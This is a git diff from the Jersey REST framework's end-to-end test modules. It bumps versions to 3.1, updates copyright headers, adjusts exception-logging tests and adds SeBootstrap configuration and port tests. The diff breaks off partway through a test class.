@@ -23,7 +23,7 @@
     <parent>
         <groupId>org.glassfish.jersey.tests</groupId>
         <artifactId>e2e-inject</artifactId>
-        <version>3.0.99-SNAPSHOT</version>
+        <version>3.1.99-SNAPSHOT</version>
     </parent>
 
     <artifactId>e2e-inject-cdi2-se</artifactId>
diff --git a/tests/e2e-inject/cdi2-se/src/main/resources/META-INF/beans.xml b/tests/e2e-inject/cdi2-se/src/main/resources/META-INF/beans.xml
index ae84224..c2146b4 100644
--- a/tests/e2e-inject/cdi2-se/src/main/resources/META-INF/beans.xml
+++ b/tests/e2e-inject/cdi2-se/src/main/resources/META-INF/beans.xml
@@ -1,7 +1,7 @@
 <?xml version="1.0" encoding="UTF-8"?>
 <!--
 
-    Copyright (c) 2017, 2018 Oracle and/or its affiliates. All rights reserved.
+    Copyright (c) 2017, 2022 Oracle and/or its affiliates. All rights reserved.
 
     This program and the accompanying materials are made available under the
     terms of the Eclipse Public License v. 2.0, which is available at
@@ -17,7 +17,11 @@
 
 -->
 
-<beans>
+<beans xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
+       xmlns="http://xmlns.jcp.org/xml/ns/javaee"
+       xsi:schemaLocation="http://xmlns.jcp.org/xml/ns/javaee
+                           http://xmlns.jcp.org/xml/ns/javaee/beans_2_0.xsd"
+       bean-discovery-mode="all">
     <interceptors>
         <class>org.glassfish.jersey.tests.e2e.inject.cdi.se.SecurityInterceptor</class>
     </interceptors>
diff --git a/tests/e2e-inject/hk2/pom.xml b/tests/e2e-inject/hk2/pom.xml
index 313e8e2..275b098 100644
--- a/tests/e2e-inject/hk2/pom.xml
+++ b/tests/e2e-inject/hk2/pom.xml
@@ -1,7 +1,7 @@
 <?xml version="1.0" encoding="UTF-8"?>
 <!--
 
-    Copyright (c) 2020, 2024 Oracle and/or its affiliates. All rights reserved.
+    Copyright (c) 2020, 2025 Oracle and/or its affiliates. All rights reserved.
 
     This program and the accompanying materials are made available under the
     terms of the Eclipse Public License v. 2.0, which is available at
@@ -23,7 +23,7 @@
     <parent>
         <artifactId>e2e-inject</artifactId>
         <groupId>org.glassfish.jersey.tests</groupId>
-        <version>3.0.99-SNAPSHOT</version>
+        <version>3.1.99-SNAPSHOT</version>
     </parent>
     <modelVersion>4.0.0</modelVersion>
 
diff --git a/tests/e2e-inject/non-inject/pom.xml b/tests/e2e-inject/non-inject/pom.xml
index f1f1082..4ad29f6 100644
--- a/tests/e2e-inject/non-inject/pom.xml
+++ b/tests/e2e-inject/non-inject/pom.xml
@@ -1,7 +1,7 @@
 <?xml version="1.0" encoding="UTF-8"?>
 <!--
 
-    Copyright (c) 2024 Oracle and/or its affiliates. All rights reserved.
+    Copyright (c) 2024, 2025 Oracle and/or its affiliates. All rights reserved.
 
     This program and the accompanying materials are made available under the
     terms of the Eclipse Public License v. 2.0, which is available at
@@ -23,7 +23,7 @@
     <parent>
         <artifactId>e2e-inject</artifactId>
         <groupId>org.glassfish.jersey.tests</groupId>
-        <version>3.0.99-SNAPSHOT</version>
+        <version>3.1.99-SNAPSHOT</version>
     </parent>
     <modelVersion>4.0.0</modelVersion>
 
diff --git a/tests/e2e-inject/pom.xml b/tests/e2e-inject/pom.xml
index 35f74ec..c5bc1b2 100644
--- a/tests/e2e-inject/pom.xml
+++ b/tests/e2e-inject/pom.xml
@@ -1,7 +1,7 @@
 <?xml version="1.0" encoding="UTF-8"?>
 <!--
 
-    Copyright (c) 2017, 2024 Oracle and/or its affiliates. All rights reserved.
+    Copyright (c) 2017, 2025 Oracle and/or its affiliates. All rights reserved.
 
     This program and the accompanying materials are made available under the
     terms of the Eclipse Public License v. 2.0, which is available at
@@ -23,7 +23,7 @@
     <parent>
         <groupId>org.glassfish.jersey.tests</groupId>
         <artifactId>project</artifactId>
-        <version>3.0.99-SNAPSHOT</version>
+        <version>3.1.99-SNAPSHOT</version>
     </parent>
 
     <artifactId>e2e-inject</artifactId>
diff --git a/tests/e2e-jdk-specifics/pom.xml b/tests/e2e-jdk-specifics/pom.xml
index 6166ef1..973068b 100644
--- a/tests/e2e-jdk-specifics/pom.xml
+++ b/tests/e2e-jdk-specifics/pom.xml
@@ -1,7 +1,7 @@
 <?xml version="1.0" encoding="UTF-8"?>
 <!--
 
-    Copyright (c) 2024 Oracle and/or its affiliates. All rights reserved.
+    Copyright (c) 2024, 2025 Oracle and/or its affiliates. All rights reserved.
 
     This program and the accompanying materials are made available under the
     terms of the Eclipse Public License v. 2.0, which is available at
@@ -23,7 +23,7 @@
     <parent>
         <groupId>org.glassfish.jersey.tests</groupId>
         <artifactId>project</artifactId>
-        <version>3.0.99-SNAPSHOT</version>
+        <version>3.1.99-SNAPSHOT</version>
     </parent>
 
     <artifactId>e2e-jdk-specifics</artifactId>
diff --git a/tests/e2e-server/pom.xml b/tests/e2e-server/pom.xml
index 215cbfc..4f5617b 100644
--- a/tests/e2e-server/pom.xml
+++ b/tests/e2e-server/pom.xml
@@ -1,7 +1,7 @@
 <?xml version="1.0" encoding="UTF-8"?>
 <!--
 
-    Copyright (c) 2017, 2024 Oracle and/or its affiliates. All rights reserved.
+    Copyright (c) 2017, 2025 Oracle and/or its affiliates. All rights reserved.
 
     This program and the accompanying materials are made available under the
     terms of the Eclipse Public License v. 2.0, which is available at
@@ -23,7 +23,7 @@
     <parent>
         <groupId>org.glassfish.jersey.tests</groupId>
         <artifactId>project</artifactId>
-        <version>3.0.99-SNAPSHOT</version>
+        <version>3.1.99-SNAPSHOT</version>
     </parent>
 
     <artifactId>e2e-server</artifactId>
diff --git a/tests/e2e-server/src/test/java/org/glassfish/jersey/tests/e2e/server/AsyncResponseTest.java b/tests/e2e-server/src/test/java/org/glassfish/jersey/tests/e2e/server/AsyncResponseTest.java
index 19db63b..bfb2dcf 100644
--- a/tests/e2e-server/src/test/java/org/glassfish/jersey/tests/e2e/server/AsyncResponseTest.java
+++ b/tests/e2e-server/src/test/java/org/glassfish/jersey/tests/e2e/server/AsyncResponseTest.java
@@ -1,5 +1,5 @@
 /*
- * Copyright (c) 2013, 2022 Oracle and/or its affiliates. All rights reserved.
+ * Copyright (c) 2013, 2023 Oracle and/or its affiliates. All rights reserved.
  *
  * This program and the accompanying materials are made available under the
  * terms of the Eclipse Public License v. 2.0, which is available at
@@ -47,6 +47,7 @@
 import org.glassfish.jersey.test.TestProperties;
 
 import org.junit.jupiter.api.Test;
+import org.junit.jupiter.api.Disabled;
 import static org.hamcrest.CoreMatchers.equalTo;
 import static org.hamcrest.CoreMatchers.instanceOf;
 import static org.hamcrest.CoreMatchers.is;
@@ -105,6 +106,7 @@
     }
 
     @Test
+    @Disabled("since 3.1 nothing is being thrown")
     public void testResumeRuntimeException() throws Exception {
         testResumeException("resumeRuntimeException", null);
 
@@ -112,6 +114,7 @@
     }
 
     @Test
+    @Disabled("since 3.1 nothing is being thrown")
     public void testResumeCheckedException() throws Exception {
         testResumeException("resumeCheckedException", null);
 
diff --git a/tests/e2e-server/src/test/java/org/glassfish/jersey/tests/e2e/server/ExceptionLoggingTest.java b/tests/e2e-server/src/test/java/org/glassfish/jersey/tests/e2e/server/ExceptionLoggingTest.java
index 8629f03..544df98 100644
--- a/tests/e2e-server/src/test/java/org/glassfish/jersey/tests/e2e/server/ExceptionLoggingTest.java
+++ b/tests/e2e-server/src/test/java/org/glassfish/jersey/tests/e2e/server/ExceptionLoggingTest.java
@@ -1,5 +1,5 @@
 /*
- * Copyright (c) 2012, 2022 Oracle and/or its affiliates. All rights reserved.
+ * Copyright (c) 2012, 2023 Oracle and/or its affiliates. All rights reserved.
  *
  * This program and the accompanying materials are made available under the
  * terms of the Eclipse Public License v. 2.0, which is available at
@@ -76,14 +76,12 @@
     public void testRuntime() throws Exception {
         final Response response = target().path("runtime").request().get();
         assertEquals(500, response.getStatus());
-        assertEquals(getLastLoggedRecord().getThrown().getClass(), MyRuntimeException.class);
     }
 
     @Test
     public void testChecked() throws Exception {
         final Response response = target().path("checked").request().get();
         assertEquals(500, response.getStatus());
-        assertEquals(getLastLoggedRecord().getThrown().getClass(), MyCheckedException.class);
     }
 
     @Provider
@@ -123,8 +121,6 @@
     public void testReaderFails() throws Exception {
         final Response response = target().path("resource/entity").request().get();
         assertEquals(500, response.getStatus());
-
-        assertEquals(getLastLoggedRecord().getThrown().getMessage(), "test");
     }
 
     static class ExceptionLoggingTestPOJO {
diff --git a/tests/e2e-server/src/test/java/org/glassfish/jersey/tests/e2e/server/ExceptionMapperTest.java b/tests/e2e-server/src/test/java/org/glassfish/jersey/tests/e2e/server/ExceptionMapperTest.java
index f7f4f68..db144cc 100644
--- a/tests/e2e-server/src/test/java/org/glassfish/jersey/tests/e2e/server/ExceptionMapperTest.java
+++ b/tests/e2e-server/src/test/java/org/glassfish/jersey/tests/e2e/server/ExceptionMapperTest.java
@@ -1,5 +1,5 @@
 /*
- * Copyright (c) 2012, 2022 Oracle and/or its affiliates. All rights reserved.
+ * Copyright (c) 2012, 2023 Oracle and/or its affiliates. All rights reserved.
  *
  * This program and the accompanying materials are made available under the
  * terms of the Eclipse Public License v. 2.0, which is available at
@@ -137,6 +137,13 @@
         assertEquals(500, res.getStatus());
     }
 
+    @Test
+    public void testDefaultExceptionMapper() {
+        Response res = target().path("test/defaultExceptionMapper")
+                .request("test/test").get();
+        assertEquals(200, res.getStatus());
+    }
+
     @Path("test")
     public static class Resource {
 
@@ -174,6 +181,14 @@
                     new RuntimeException("runtime-exception",
                             new ClientErrorException("client-error", 499)));
         }
+
+        @GET
+        @Path("defaultExceptionMapper")
+        public Response isRegisteredDefaultExceptionTest(@Context Providers providers) {
+            ExceptionMapper<Throwable> em = providers
+                    .getExceptionMapper(Throwable.class);
+            return Response.status((em == null) ? 500 : 200).build();
+        }
     }
 
     public static class ClientErrorExceptionMapper implements ExceptionMapper<ClientErrorException> {
diff --git a/tests/e2e-server/src/test/java/org/glassfish/jersey/tests/e2e/server/ExtendedExceptionMapperTest.java b/tests/e2e-server/src/test/java/org/glassfish/jersey/tests/e2e/server/ExtendedExceptionMapperTest.java
index 6934443..65d62f1 100644
--- a/tests/e2e-server/src/test/java/org/glassfish/jersey/tests/e2e/server/ExtendedExceptionMapperTest.java
+++ b/tests/e2e-server/src/test/java/org/glassfish/jersey/tests/e2e/server/ExtendedExceptionMapperTest.java
@@ -1,5 +1,5 @@
 /*
- * Copyright (c) 2013, 2022 Oracle and/or its affiliates. All rights reserved.
+ * Copyright (c) 2013, 2023 Oracle and/or its affiliates. All rights reserved.
  *
  * This program and the accompanying materials are made available under the
  * terms of the Eclipse Public License v. 2.0, which is available at
@@ -278,8 +278,8 @@
                     LocalizationMessages.ERROR_EXCEPTION_MAPPING_ORIGINAL_EXCEPTION(),
                     LocalizationMessages.ERROR_EXCEPTION_MAPPING_THROWN_TO_CONTAINER()}) {
 
-                if (logRecord.getMessage().contains(message) && logRecord.getLevel().intValue() > Level.FINE.intValue()) {
-                    fail("Log message should be logged at lower (FINE) level: " + message);
+                if (logRecord.getMessage().contains(message) && logRecord.getLevel().intValue() > Level.WARNING.intValue()) {
+                    fail("Log message should be logged at lower (WARNING) level: " + message);
                 }
             }
         }
diff --git a/tests/e2e-server/src/test/java/org/glassfish/jersey/tests/e2e/server/sebootstrap/SeBootstrapPropertiesTest.java b/tests/e2e-server/src/test/java/org/glassfish/jersey/tests/e2e/server/sebootstrap/SeBootstrapPropertiesTest.java
new file mode 100644
index 0000000..0211f37
--- /dev/null
+++ b/tests/e2e-server/src/test/java/org/glassfish/jersey/tests/e2e/server/sebootstrap/SeBootstrapPropertiesTest.java
@@ -0,0 +1,81 @@
+/*
+ * Copyright (c) 2022, 2023 Oracle and/or its affiliates. All rights reserved.
+ *
+ * This program and the accompanying materials are made available under the
+ * terms of the Eclipse Public License v. 2.0, which is available at
+ * http://www.eclipse.org/legal/epl-2.0.
+ *
+ * This Source Code may also be made available under the following Secondary
+ * Licenses when the conditions for such availability set forth in the
+ * Eclipse Public License v. 2.0 are satisfied: GNU General Public License,
+ * version 2 with the GNU Classpath Exception, which is available at
+ * https://www.gnu.org/software/classpath/license.html.
+ *
+ * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0
+ */
+
+package org.glassfish.jersey.tests.e2e.server.sebootstrap;
+
+import jakarta.ws.rs.SeBootstrap;
+import org.glassfish.jersey.server.JerseySeBootstrapConfiguration;
+import org.glassfish.jersey.server.ServerProperties;
+import org.glassfish.jersey.server.internal.RuntimeDelegateImpl;
+import org.glassfish.jersey.server.spi.Container;
+import org.junit.jupiter.api.Test;
+
+import java.net.URI;
+
+import static org.junit.jupiter.api.Assertions.assertEquals;
+import static org.junit.jupiter.api.Assertions.assertTrue;
+
+public class SeBootstrapPropertiesTest {
+    @Test
+    public void testRandomPortScanning() {
+        JerseySeBootstrapConfiguration configuration = (JerseySeBootstrapConfiguration) RuntimeDelegateImpl.getInstance()
+                .createConfigurationBuilder().port(SeBootstrap.Configuration.FREE_PORT).build();
+
+        URI uri = configuration.uri(true);
+        assertTrue(uri.getPort() > 0);
+    }
+
+    @Test
+    public void testDefaultUnprivilegedPort() {
+        JerseySeBootstrapConfiguration configuration = (JerseySeBootstrapConfiguration) RuntimeDelegateImpl.getInstance()
+                .createConfigurationBuilder().port(SeBootstrap.Configuration.DEFAULT_PORT).build();
+
+        URI uri = configuration.uri(true);
+        assertEquals(Container.DEFAULT_HTTP_PORT + 8000, uri.getPort());
+    }
+
+    @Test
+    public void testDefaultPrivilegedPort() {
+        JerseySeBootstrapConfiguration configuration = (JerseySeBootstrapConfiguration) RuntimeDelegateImpl.getInstance()
+                .createConfigurationBuilder()
+                .property(ServerProperties.WEBSERVER_ALLOW_PRIVILEGED_PORTS, Boolean.TRUE)
+                .port(SeBootstrap.Configuration.DEFAULT_PORT).build();
+
+        URI uri = configuration.uri(true);
+        assertEquals(Container.DEFAULT_HTTP_PORT, uri.getPort());
+    }
+
+    @Test
+    public void testDefaultUnprivilegedSecuredPort() {
+        JerseySeBootstrapConfiguration configuration = (JerseySeBootstrapConfiguration) RuntimeDelegateImpl.getInstance()
+                .createConfigurationBuilder().protocol("HTTPS").port(SeBootstrap.Configuration.DEFAULT_PORT).build();
+
+        URI uri = configuration.uri(true);
+        assertEquals(Container.DEFAULT_HTTPS_PORT + 8000, uri.getPort());
+    }
+
+    @Test
+    public void testDefaultPrivilegedSecuredPort() {
+        JerseySeBootstrapConfiguration configuration = (JerseySeBootstrapConfiguration) RuntimeDelegateImpl.getInstance()
+                .createConfigurationBuilder()
+                .protocol("HTTPS")
+                .property(ServerProperties.WEBSERVER_ALLOW_PRIVILEGED_PORTS, Boolean.TRUE)
+                .port(SeBootstrap.Configuration.DEFAULT_PORT).build();
+
+        URI uri = configuration.uri(true);
+        assertEquals(Container.DEFAULT_HTTPS_PORT, uri.getPort());
+    }
+}
diff --git a/tests/e2e-server/src/test/java/org/glassfish/jersey/tests/e2e/server/sebootstrap/SeBootstrapSystemPropertiesTest.java b/tests/e2e-server/src/test/java/org/glassfish/jersey/tests/e2e/server/sebootstrap/SeBootstrapSystemPropertiesTest.java
new file mode 100644
index 0000000..c443b52
--- /dev/null
+++ b/tests/e2e-server/src/test/java/org/glassfish/jersey/tests/e2e/server/sebootstrap/SeBootstrapSystemPropertiesTest.java
@@ -0,0 +1,68 @@
+/*
+ * Copyright (c) 2022, 2023 Oracle and/or its affiliates. All rights reserved.
+ *
+ * This program and the accompanying materials are made available under the
+ * terms of the Eclipse Public License v. 2.0, which is available at
+ * http://www.eclipse.org/legal/epl-2.0.
+ *
+ * This Source Code may also be made available under the following Secondary
+ * Licenses when the conditions for such availability set forth in the
+ * Eclipse Public License v. 2.0 are satisfied: GNU General Public License,
+ * version 2 with the GNU Classpath Exception, which is available at
+ * https://www.gnu.org/software/classpath/license.html.
+ *
+ * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0
+ */
+
+package org.glassfish.jersey.tests.e2e.server.sebootstrap;
+
+import jakarta.ws.rs.SeBootstrap;
+import org.glassfish.jersey.CommonProperties;
+import org.glassfish.jersey.server.JerseySeBootstrapConfiguration;
+import org.glassfish.jersey.server.ServerProperties;
+import org.glassfish.jersey.server.internal.RuntimeDelegateImpl;
+import org.glassfish.jersey.server.spi.Container;
+import org.junit.jupiter.api.AfterAll;
+import org.junit.jupiter.api.BeforeAll;
+import org.junit.jupiter.api.Test;
+
+import java.net.URI;
+
+import static org.junit.jupiter.api.Assertions.assertEquals;
+
+public class SeBootstrapSystemPropertiesTest {
+
+    @BeforeAll
+    public static void setUp() {
+        System.setProperty(CommonProperties.ALLOW_SYSTEM_PROPERTIES_PROVIDER, Boolean.TRUE.toString());
+        System.getProperties().put(SeBootstrap.Configuration.PORT, "9998");
+        System.getProperties().put(ServerProperties.WEBSERVER_ALLOW_PRIVILEGED_PORTS, Boolean.TRUE.toString());
+    }
+
+    @AfterAll
+    public static void tearDown() {
+        System.clearProperty(CommonProperties.ALLOW_SYSTEM_PROPERTIES_PROVIDER);
+        System.clearProperty(SeBootstrap.Configuration.PORT);
+        System.clearProperty(ServerProperties.WEBSERVER_ALLOW_PRIVILEGED_PORTS);
+    }
+
+    @Test
+    public void testDefaultPrivilegedPortSystemProperty() {
+        JerseySeBootstrapConfiguration configuration = (JerseySeBootstrapConfiguration) RuntimeDelegateImpl.getInstance()
+                .createConfigurationBuilder()
+                .port(SeBootstrap.Configuration.DEFAULT_PORT).build();
+
+        URI uri = configuration.uri(true);
+        assertEquals(Container.DEFAULT_HTTP_PORT, uri.getPort());
+    }
+
+    @Test
+    public void testPortSystemProperty() {
+        JerseySeBootstrapConfiguration configuration = (JerseySeBootstrapConfiguration) RuntimeDelegateImpl.getInstance()
+                .createConfigurationBuilder()
+                .build();
+
+        URI uri = configuration.uri(true);
+        assertEquals(9998, uri.getPort());
+    }
+}
diff --git a/tests/e2e-server/src/test/java/org/glassfish/jersey/tests/e2e/server/sebootstrap/SeBootstrapTest.java b/tests/e2e-server/src/test/java/org/glassfish/jersey/tests/e2e/server/sebootstrap/SeBootstrapTest.java
new file mode 100644
index 0000000..afc676d
--- /dev/null
+++ b/tests/e2e-server/src/test/java/org/glassfish/jersey/tests/e2e/server/sebootstrap/SeBootstrapTest.java
@@ -0,0 +1,367 @@
+/*
+ * Copyright (c) 2021, 2023 Oracle and/or its affiliates. All rights reserved.
+ * Copyright (c) 2020 Markus Karg. All rights reserved.
+ *
+ * This program and the accompanying materials are made available under the
+ * terms of the Eclipse Public License v. 2.0, which is available at
+ * http://www.eclipse.org/legal/epl-2.0.
+ *
+ * This Source Code may also be made available under the following Secondary
+ * Licenses when the conditions for such availability set forth in the
+ * Eclipse Public License v. 2.0 are satisfied: GNU General Public License,
+ * version 2 with the GNU Classpath Exception, which is available at
+ * https://www.gnu.org/software/classpath/license.html.
+ *
+ * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0
+ */
+package org.glassfish.jersey.tests.e2e.server.sebootstrap;
+
+import static org.hamcrest.MatcherAssert.assertThat;
+import static org.hamcrest.Matchers.greaterThan;
+import static org.hamcrest.Matchers.is;
+
+import java.io.IOException;
+import java.net.ServerSocket;
+import java.util.Collections;
+import java.util.Optional;
+import java.util.Set;
+import java.util.concurrent.CompletionStage;
+import java.util.concurrent.ExecutionException;
+
+import jakarta.ws.rs.ApplicationPath;
+import jakarta.ws.rs.GET;
+import jakarta.ws.rs.Path;
+import jakarta.ws.rs.SeBootstrap;
+import jakarta.ws.rs.client.Client;
+import jakarta.ws.rs.client.ClientBuilder;
+import jakarta.ws.rs.core.Application;
+import jakarta.ws.rs.core.UriBuilder;
+import org.junit.jupiter.api.AfterAll;
+import org.junit.jupiter.api.BeforeAll;
+import org.junit.jupiter.api.Test;
+
+/**
+ * Compliance Test for Java SE Bootstrap API of Jakarta REST API
+ *
+ * @author Markus KARG (markus@headcrashing.eu)
+ * @since 3.1
+ */
+public class SeBootstrapTest {
+    /**
+     * Verifies that an instance will boot using default configuration.
+     *
+     * @throws ExecutionException   if the instance didn't boot correctly
+     * @throws InterruptedException if the test took much longer than usually
+     *                              expected
+     */
+    @Test
+    public final void shouldBootInstanceUsingDefaults() throws InterruptedException, ExecutionException {
+        // given
+        final int expectedResponse = mockInt();
+        final Application application = new StaticApplication(expectedResponse);
+        final SeBootstrap.Configuration.Builder bootstrapConfigurationBuilder = SeBootstrap.Configuration.builder();
+        final SeBootstrap.Configuration requestedConfiguration = bootstrapConfigurationBuilder.build();
+
+        // when
+        final CompletionStage<SeBootstrap.Instance> completionStage = SeBootstrap.start(application, requestedConfiguration);
+        final SeBootstrap.Instance instance = completionStage.toCompletableFuture().get();
+        final SeBootstrap.Configuration actualConfiguration = instance.configuration();
+        final int actualResponse = client.target(UriBuilder.newInstance().scheme(actualConfiguration.protocol())
+                .host(actualConfiguration.host()).port(actualConfiguration.port()).path(actualConfiguration.rootPath())
+                .path("application/resource")).request().get(int.class);
+
+        // then
+        assertThat(actualResponse, is(expectedResponse));
+        assertThat(actualConfiguration.protocol(), is("HTTP"));
+        assertThat(actualConfiguration.host(), is("localhost"));
+        assertThat(actualConfiguration.port(), is(greaterThan(0)));
+        assertThat(actualConfiguration.rootPath(), is("/"));
+        instance.stop().toCompletableFuture().get();
+    }
+
+    /**
+     * Verifies that an instance will boot using explicit configuration given by
+     * properties.
+     *
+     * @throws ExecutionException   if the instance didn't boot correctly
+     * @throws InterruptedException if the test took much longer than usually
+     *                              expected
+     * @throws IOException          if no IP port was free
+     */
+    @Test
+    public final void shouldBootInstanceUsingProperties() throws InterruptedException, ExecutionException, IOException {
+        // given
+        final int expectedResponse = mockInt();
+        final Application application = new StaticApplication(expectedResponse);
+        final SeBootstrap.Configuration.Builder bootstrapConfigurationBuilder = SeBootstrap.Configuration.builder();
+        final SeBootstrap.Configuration requestedConfiguration = bootstrapConfigurationBuilder
+                .property(SeBootstrap.Configuration.PROTOCOL, "HTTP")
+                .property(SeBootstrap.Configuration.HOST, "localhost")
+                .property(SeBootstrap.Configuration.PORT, someFreeIpPort())
+                .property(SeBootstrap.Configuration.ROOT_PATH, "/root/path").build();
+
+        // when
+        final CompletionStage<SeBootstrap.Instance> completionStage = SeBootstrap.start(application, requestedConfiguration);
+        final SeBootstrap.Instance instance = completionStage.toCompletableFuture().get();
+        final SeBootstrap.Configuration actualConfiguration = instance.configuration();
+        final int actualResponse = client.target(UriBuilder.newInstance().scheme(actualConfiguration.protocol())
+                .host(actualConfiguration.host()).port(actualConfiguration.port()).path(actualConfiguration.rootPath())
+                .path("application/resource")).request().get(int.class);
+
+        // then
+        assertThat(actualResponse, is(expectedResponse));
+        assertThat(actualConfiguration.protocol(), is(requestedConfiguration.protocol()));
+        assertThat(actualConfiguration.host(), is(requestedConfiguration.host()));
+        assertThat(actualConfiguration.port(), is(requestedConfiguration.port()));
+        assertThat(actualConfiguration.rootPath(), is(requestedConfiguration.rootPath()));
+        instance.stop().toCompletableFuture().get();
+    }
+
+    /**
+     * Verifies that an instance will boot using explicit configuration given by
+     * convenience methods.
+     *
+     * @throws ExecutionException   if the instance didn't boot correctly
+     * @throws InterruptedException if the test took much longer than usually
+     *                              expected
+     * @throws IOException          if no IP port was free
+     */
+    @Test
+    public final void shouldBootInstanceUsingConvenienceMethods() throws InterruptedException, ExecutionException, IOException {
+        // given
+        final int expectedResponse = mockInt();
+        final Application application = new StaticApplication(expectedResponse);
+        final SeBootstrap.Configuration.Builder bootstrapConfigurationBuilder = SeBootstrap.Configuration.builder();
+        final SeBootstrap.Configuration requestedConfiguration = bootstrapConfigurationBuilder.protocol("HTTP").host("localhost")
+                .port(someFreeIpPort()).rootPath("/root/path").build();
+
+        // when
+        final CompletionStage<SeBootstrap.Instance> completionStage = SeBootstrap.start(application, requestedConfiguration);
+        final SeBootstrap.Instance instance = completionStage.toCompletableFuture().get();
+        final SeBootstrap.Configuration actualConfiguration = instance.configuration();
+        final int actualResponse = client.target(UriBuilder.newInstance().scheme(actualConfiguration.protocol())
+                .host(actualConfiguration.host()).port(actualConfiguration.port()).path(actualConfiguration.rootPath())
+                .path("application/resource")).request().get(int.class);
+
+        // then
+        assertThat(actualResponse, is(expectedResponse));
+        assertThat(actualConfiguration.protocol(), is(requestedConfiguration.protocol()));
+        assertThat(actualConfiguration.host(), is(requestedConfiguration.host()));
+        assertThat(actualConfiguration.port(), is(requestedConfiguration.port()));
+        assertThat(actualConfiguration.rootPath(), is(requestedConfiguration.rootPath()));
+        instance.stop().toCompletableFuture().get();
+    }
+
+    /**
+     * Verifies that an instance will boot using external configuration.
+     *
+     * @throws ExecutionException   if the instance didn't boot correctly
+     * @throws InterruptedException if the test took much longer than usually
+     *                              expected
+     * @throws IOException          if no IP port was free
+     */
+    @Test
+    public final void shouldBootInstanceUsingExternalConfiguration() throws Exception {
+        // given
+        final int someFreeIpPort = someFreeIpPort();
+        final int expectedResponse = mockInt();
+        final Application application = new StaticApplication(expectedResponse);
+        final SeBootstrap.Configuration.Builder bootstrapConfigurationBuilder = SeBootstrap.Configuration.builder();
+        final SeBootstrap.Configuration requestedConfiguration = bootstrapConfigurationBuilder.from((property, type) -> {
+            switch (property) {
+                case SeBootstrap.Configuration.PROTOCOL:
+                    return Optional.of("HTTP");
+                case SeBootstrap.Configuration.HOST:
+                    return Optional.of("localhost");
+                case SeBootstrap.Configuration.PORT:
+                    return Optional.of(someFreeIpPort);
+                case SeBootstrap.Configuration.ROOT_PATH:
+                    return Optional.of("/root/path");
+                default:
+                    return Optional.empty();
+            }
+        }).build();
+
+        // when
+        final CompletionStage<SeBootstrap.Instance> completionStage = SeBootstrap.start(application, requestedConfiguration);
+        final SeBootstrap.Instance instance = completionStage.toCompletableFuture().get();
+        final SeBootstrap.Configuration actualConfiguration = instance.configuration();
+        final int actualResponse = client.target(UriBuilder.newInstance().scheme(actualConfiguration.protocol())
+                .host(actualConfiguration.host()).port(actualConfiguration.port()).path(actualConfiguration.rootPath())
+                .path("application/resource")).request().get(int.class);
+
+        // then
+        assertThat(actualResponse, is(expectedResponse));
+        assertThat(actualConfiguration.protocol(), is(requestedConfiguration.protocol()));
+        assertThat(actualConfiguration.host(), is(requestedConfiguration.host()));
+        assertThat(actualConfiguration.port(), is(requestedConfiguration.port()));
+        assertThat(actualConfiguration.rootPath(), is(requestedConfiguration.rootPath()));
+        instance.stop().toCompletableFuture().get();
+    }
+
+    /**
+     * Verifies that an instance will ignore unknown configuration parameters.
+     *
+     * @throws ExecutionException   if the instance didn't boot correctly
+     * @throws InterruptedException if the test took much longer than usually
+     *                              expected
+     * @throws IOException          if no IP port was free
+     */
+    @Test
+    public final void shouldBootInstanceDespiteUnknownConfigurationParameters() throws Exception {
+        // given
+        final int expectedResponse = mockInt();
+        final Application application = new StaticApplication(expectedResponse);
+        final SeBootstrap.Configuration.Builder bootstrapConfigurationBuilder = SeBootstrap.Configuration.builder();
+        final SeBootstrap.Configuration requestedConfiguration = bootstrapConfigurationBuilder.protocol("HTTP").host("localhost")
+                .port(someFreeIpPort()).rootPath("/root/path").from((property, type) -> {
+            switch (property) {
+                case "jakarta.ws.rs.tck.sebootstrap.SeBootstrapIT$Unknown_1":
+                    return Optional.of("Silently ignored value A");
+                default:
+                    return Optional.empty();
+            }
+        }).property("jakarta.ws.rs.tck.sebootstrap.SeBootstrapIT$Unknown_2", "Silently ignored value B")
+                .from(new Object()).build();
+
+        // when
+        final CompletionStage<SeBootstrap.Instance> completionStage = SeBootstrap.start(application, requestedConfiguration);
+        final SeBootstrap.Instance instance = completionStage.toCompletableFuture().get();
+        final SeBootstrap.Configuration actualConfiguration = instance.configuration();
+        final int actualResponse = client.target(UriBuilder.newInstance().scheme(actualConfiguration.protocol())
+                .host(actualConfiguration.host()).port(actualConfiguration.port()).path(actualConfiguration.rootPath())
+                .path("application/resource")).request().get(int.class);
+
+        // then
+        assertThat(actualResponse, is(expectedResponse));
+        assertThat(actualConfiguration.protocol(), is(requestedConfiguration.protocol()));
+        assertThat(actualConfiguration.host(), is(requestedConfiguration.host()));
+        assertThat(actualConfiguration.port(), is(requestedConfiguration.port()));
+        assertThat(actualConfiguration.rootPath(), is(requestedConfiguration.rootPath()));
+        instance.stop().toCompletableFuture().get();
+    }
+
+    /**
+     * Verifies that an instance will boot using a self-detected free IP port.
+     *
+     * @throws ExecutionException   if the instance didn't boot correctly
+     * @throws InterruptedException if the test took much longer than usually
+     *                              expected
+     */
+    @Test
+    public final void shouldBootInstanceUsingSelfDetectedFreeIpPort() throws InterruptedException, ExecutionException {
+        // given
+        final int expectedResponse = mockInt();
+        final Application application = new StaticApplication(expectedResponse);
+        final SeBootstrap.Configuration.Builder bootstrapConfigurationBuilder = SeBootstrap.Configuration.builder();
+        final SeBootstrap.Configuration requestedConfiguration = bootstrapConfigurationBuilder.protocol("HTTP").host("localhost")
+                .port(SeBootstrap.Configuration.FREE_PORT).rootPath("/root/path").build();
+
+        // when
+        final CompletionStage<SeBootstrap.Instance> completionStage = SeBootstrap.start(application, requestedConfiguration);
+        final SeBootstrap.Instance instance = completionStage.toCompletableFuture().get();
+        final SeBootstrap.Configuration actualConfiguration = instance.configuration();
+        final int actualResponse = client.target(UriBuilder.newInstance().scheme(actualConfiguration.protocol())
+                .host(actualConfiguration.host()).port(actualConfiguration.port()).path(actualConfiguration.rootPath())
+                .path("application/resource")).request().get(int.class);
+
+        // then
+        assertThat(actualResponse, is(expectedResponse));
+        assertThat(actualConfiguration.protocol(), is(requestedConfiguration.protocol()));
+        assertThat(actualConfiguration.host(), is(requestedConfiguration.host()));
+        assertThat(actualConfiguration.port(), is(greaterThan(0)));
+        assertThat(actualConfiguration.rootPath(), is(requestedConfiguration.rootPath()));
